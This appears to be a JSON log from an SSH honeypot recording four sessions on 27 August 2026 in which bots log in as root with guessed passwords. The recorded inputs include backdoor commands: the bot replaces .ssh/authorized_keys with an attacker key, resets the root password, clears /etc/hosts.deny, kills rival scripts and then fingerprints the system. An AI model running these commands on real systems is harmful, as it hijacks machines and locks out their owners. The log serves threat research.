{"id":"22cc1660-be2b-455a-b982-c6b5b70e2261","name":"arctic-bashful-gull","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":52550,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":825,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:10:39.045870+00:00","ended_at":"2026-08-27T14:10:39.311875+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2275,"events":[{"seq":1,"at":"2026-08-27T14:10:19.781358+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:10:19.789146+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T14:10:20.599127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T14:10:26.596292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T14:10:26.598496+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T14:10:27.425011+00:00","kind":"input","latency_ms":null,"data":"echo \"root:m7NcEWr2I90c\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T14:10:27.425328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:10:28.252912+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T14:10:29.072624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T14:10:29.074558+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:10:29.903814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:10:29.904324+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:10:30.728530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:10:30.731616+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:10:31.557138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:10:31.558402+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:10:32.408165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:10:32.409235+00:00","kind":"output","latency_ms":null,"data":" 14:10:32 up 7 days, 11:00,  0 user,  load average: 0.3, 0.22, 0.28\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:10:33.229013+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:10:33.229566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:10:34.056446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:10:34.057814+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:10:34.891846+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:10:34.892390+00:00","kind":"output","latency_ms":null,"data":"top - 14:10:34 up 7 days, 11:00,  0 user,  load average: 0.3, 0.22, 0.28\nTasks: 117 total,   1 running, 116 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8420 free,    7467 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:10:35.724740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:10:35.725636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:10:36.550050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:10:36.550496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:10:37.375161+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:10:37.375613+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T14:10:38.220342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:10:38.220892+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:10:39.046617+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:10:39.047268+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxswedc123","method":"password","accepted":true,"tier":"other"}]}
{"id":"03e09488-6fbd-4a58-a7e6-9d802ca8d780","name":"gloomy-weathered-chough","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":44650,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":834,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:01:51.154232+00:00","ended_at":"2026-08-27T14:01:53.311292+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2216,"events":[{"seq":1,"at":"2026-08-27T14:01:11.082996+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:01:11.919020+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:01:19.530231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:01:20.448583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:01:21.287063+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oQDdVnwxuhp4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T14:01:22.325191+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T14:01:22.831195+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:01:23.165283+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T14:01:24.461361+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:01:25.295965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:01:27.272050+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:01:28.106366+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T14:01:29.223456+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T14:01:30.076073+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T14:01:32.203048+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T14:01:33.045164+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T14:01:34.686600+00:00","kind":"output","latency_ms":null,"data":" 14:01:34 up 7 days, 10:51,  0 user,  load average: 0.33, 0.31, 0.34\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":18,"at":"2026-08-27T14:01:35.522128+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T14:01:37.177349+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T14:01:38.024403+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T14:01:39.152756+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T14:01:39.993719+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T14:01:40.931608+00:00","kind":"output","latency_ms":null,"data":"top - 14:01:40 up 7 days, 10:51,  0 user,  load average: 0.33, 0.31, 0.34\nTasks: 113 total,   1 running, 112 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6831 free,    9056 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T14:01:41.765876+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T14:01:43.408280+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T14:01:44.241939+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T14:01:45.628209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T14:01:46.462894+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T14:01:48.571364+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T14:01:49.407809+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T14:01:50.319845+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T14:01:51.155024+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T14:01:53.044536+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ipecscm","method":"password","accepted":true,"tier":"other"}]}
{"id":"02d94f97-51a7-477a-b442-27cb5437ccb7","name":"mossy-electric-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":38488,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:59:37.357704+00:00","ended_at":"2026-08-27T13:59:39.371099+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:59:04.686097+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:59:05.037296+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:59:09.436226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:59:10.964196+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:59:11.305944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DIWw5i9SWSrO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:59:12.055565+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:59:12.163166+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T13:59:12.395898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T13:59:14.563226+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:59:15.011706+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:59:15.945948+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:59:16.800087+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:59:18.554186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:59:19.948907+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:59:21.478636+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:59:21.823337+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:59:23.465019+00:00","kind":"output","latency_ms":null,"data":" 13:59:23 up 7 days, 10:49,  0 user,  load average: 0.15, 0.16, 0.14\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:59:23.935077+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:59:25.887870+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:59:26.234554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:59:27.938622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:59:28.279671+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:59:29.159197+00:00","kind":"output","latency_ms":null,"data":"top - 13:59:29 up 7 days, 10:49,  0 user,  load average: 0.15, 0.16, 0.14\nTasks: 129 total,   1 running, 128 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8579 free,    7308 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:59:29.499584+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:59:31.202642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:59:31.544259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:59:32.586833+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:59:33.027279+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:59:34.941501+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:59:35.279877+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:59:36.963324+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:59:37.358406+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:59:39.269084+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"redhat","method":"password","accepted":true,"tier":"other"}]}
{"id":"d7d0ad8f-0bf6-4928-9ecc-e7d9ef924844","name":"hazel-slender-ermine","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":56854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":831,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:56:20.487122+00:00","ended_at":"2026-08-27T13:56:22.536239+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T13:55:40.165993+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:55:40.992262+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:55:47.555026+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:55:49.131111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:55:49.976640+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9dZanbjMd9nW\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:55:50.803939+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:55:51.630854+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:55:51.847797+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:55:53.208850+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T13:55:54.038898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T13:55:55.684544+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T13:55:56.515029+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T13:55:58.112949+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T13:55:58.950695+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:55:59.933135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T13:56:00.816123+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T13:56:02.420600+00:00","kind":"output","latency_ms":null,"data":" 13:56:02 up 7 days, 10:46,  0 user,  load average: 0.21, 0.17, 0.18\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":18,"at":"2026-08-27T13:56:03.245317+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T13:56:04.356602+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T13:56:05.188261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T13:56:07.354617+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T13:56:08.210244+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T13:56:09.195655+00:00","kind":"output","latency_ms":null,"data":"top - 13:56:09 up 7 days, 10:46,  0 user,  load average: 0.21, 0.17, 0.18\nTasks: 107 total,   1 running, 106 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7785 free,    8102 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T13:56:10.032257+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T13:56:12.024342+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T13:56:12.855437+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T13:56:14.101536+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T13:56:14.933259+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T13:56:16.973665+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T13:56:17.803223+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T13:56:19.658614+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T13:56:20.487853+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T13:56:22.273137+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Diamond1","method":"password","accepted":true,"tier":"other"}]}
